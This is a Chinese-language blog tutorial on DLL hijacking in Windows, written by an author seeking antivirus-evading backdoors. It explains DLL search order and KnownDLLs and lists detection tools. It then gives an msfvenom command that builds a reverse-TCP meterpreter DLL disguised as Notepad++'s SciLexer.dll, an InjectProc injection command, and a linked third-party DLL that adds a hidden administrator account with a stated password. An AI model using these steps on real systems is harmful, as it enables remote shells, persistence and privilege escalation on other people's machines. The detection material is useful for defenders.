淺談DLL劫持

最近在搞內網,需要實現免殺後門,大佬推薦了dll劫持,DLL劫持後,能幹很多事情,比如殺軟對某些廠商的軟件是實行白名單的,你幹些敏感操作都是不攔截,不提示的。還有留後門,提權等等。本文主要介紹如何檢測dll劫持,以及實例演示。

1|0DLL劫持

 

1|1dll文件是什麼?

 

DLL(Dynamic Link Library)文件爲動態鏈接庫文件,又稱"應用程序拓展",是軟件文件類型。在Windows中,許多應用程序並不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件,放置於系統中。當我們執行某一個程序時,相應的DLL文件就會被調用。一個應用程序可使用多個DLL文件,一個DLL文件也可能被不同的應用程序使用,這樣的DLL文件被稱爲共享DLL文件。

如果在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那麼Windows會嘗試去按照順序搜索這些特定目錄時下查找這個DLL,只要黑客能夠將惡意的DLL放在優先於正常DLL所在的目錄,就能夠欺騙系統優先加載惡意DLL,來實現"劫持"

1|2dll原理利用

 

windows xp sp2之前

Windows查找DLL的目錄以及對應的順序:

1. 進程對應的應用程序所在目錄;

2. 當前目錄(Current Directory);

3. 系統目錄(通過 GetSystemDirectory 獲取);

4. 16位系統目錄;

5. Windows目錄(通過 GetWindowsDirectory 獲取);

6. PATH環境變量中的各個目錄;

例如:對於文件系統,如doc文檔打開會被應用程序office打開,而office運行的時候會加載系統的一個dll文件,如果我們將用惡意的dll來替換系統的dll文件,就是將DLL和doc文檔放在一起,運行的時候就會在當前目錄中找到DLL,從而優先系統目錄下的DLL而被執行。

windows xp sp2之後

Windows查找DLL的目錄以及對應的順序(SafeDllSearchMode 默認會被開啓):

默認註冊表爲:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其鍵值爲1

1. 進程對應的應用程序所在目錄(可理解爲程序安裝目錄比如C:\ProgramFiles\uTorrent)

2. 系統目錄(即%windir%system32);

3. 16位系統目錄(即%windir%system);

4. Windows目錄(即%windir%);

5. 當前目錄(運行的某個文件所在目錄,比如C:\Documents and Settings\Administrator\Desktop\test);

6. PATH環境變量中的各個目錄;

windows 7 以上版本

系統沒有了SafeDllSearchMode 而採用KnownDLLs,那麼凡是此項下的DLL文件就會被禁止從exe自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用,其註冊表位置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

那麼最終Windows2003以上以及win7以上操作系統通過“DLL路徑搜索目錄順序”和“KnownDLLs註冊表項”的機制來確定應用程序所要調用的DLL的路徑,之後,應用程序就將DLL載入了自己的內存空間,執行相應的函數功能。

  • 默認情況下,如果軟件安裝在c盤根目錄,而不是c:\Program Files,那經過身份驗證的用戶具有該目錄的寫權限,另外,perl,python,ruby等軟件通常都添加到path變量中。那攻擊者可以在當前目錄中編寫惡意DLL,只要重新運行exe程序就會中招。
  • SafeDllSearchMode + KnownDLLs二者結合可用來防範dll劫持,但是如果調用"不常見"的dll,也就是並未出現在KnownDLLs的列表中,那麼無論SafeDllSearchMode是否開啓,dll搜索的第一順序均爲程序的當前目錄,這裏就存在一個DLL劫持漏洞(在程序同級目錄下預先放置一個同名dll,在進程啓動的過程中會優先加載,實現劫持。

 

1|3dll劫持檢查

 

Process Explorer

下載地址:https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

使用process explorer檢查exe程序主要加載的dll文件,這裏使用 notepad++ v6.0.exe 作演示:

這裏發現應用程序notepad++加載的dll文件爲SciLexer.dll。而這個dll文件在KnownDLLs中無法找到:

那意味着notepad++.exe程序啓動時可以從自身所在目錄下調用SciLexer.dll文件,這就存在dll劫持的風險

DLL Hijack Auditor(DLL劫持審計器)

下載地址:http://securityxploded.com/getsoftware_direct.php?id=7777

 emmm....當然誤報率比較高

rattler

下載地址:https://github.com/sensepost/rattler/releases

首推3gstudent師傅的文章:DLL劫持漏洞自動化識別工具Ratter

rattler可以枚舉進程調用的dll列表,識別應用程序哪些dll容易受到DLL預加載攻擊

dll_hijack_detect

下載地址:https://github.com/adamkramer/dll_hijack_detect/releases

可以檢測Windows系統上正在運行的進程中的DLL劫持,不過效果...嘿嘿嘿

InjectProc實現自動注入dll

下載地址:https://github.com/secrary/InjectProc/releases

親測在windows7 x64機器上無法使用

稍後具體演示注入流程...

1|4驗證劫持系統DLL漏洞步驟

 

1.啓動應用程序

2.使用Process Explorer等類似軟件查看該應用程序啓動後加載的動態鏈接庫

3.從該應用程序已加載的DLL列表中,查找在KnowsDLLs註冊表項不存在的DLL

4.編寫上一步獲取到的DLL的劫持DLL

5.將編寫好的劫持DLL放到該應用程序目錄下,重新啓動該應用程序,檢查是否劫持成功

1|5DLL劫持漏洞利用場景

 

首先使用msfvenom生成dll

 


 

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=5555 -f dll >SciLexer.dll

打開msf,並開啓監聽:

將生成的dll文件,丟到目標機器中,打開筆記本,也就是notepad.exe程序,輸入以下命令:

 


 

InjectProc.exe dll_inj joker.dll notepad.exe

發現kali已經得到了目標shell

 

-------------------------------------------------------------------------

補充:

今天看了大佬的文章:Notepad++劫持提權 感覺好流弊

上述我們已經分析過程序notepad++.exe v6.0啓動所調用的SciLexer.dll是存在劫持風險的,

下面利用使用大佬的dll文件進行劫持

工具鏈接: https://pan.baidu.com/s/1uTQDG-4up8TG96Infsvwnw

提取碼: ki6

將大佬的dll文件重命名爲存在劫持風險的dll文件,劫持前:

以管理員身份運行notepad++

成功添加管理員webbaozi/webbaozi!@#123

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章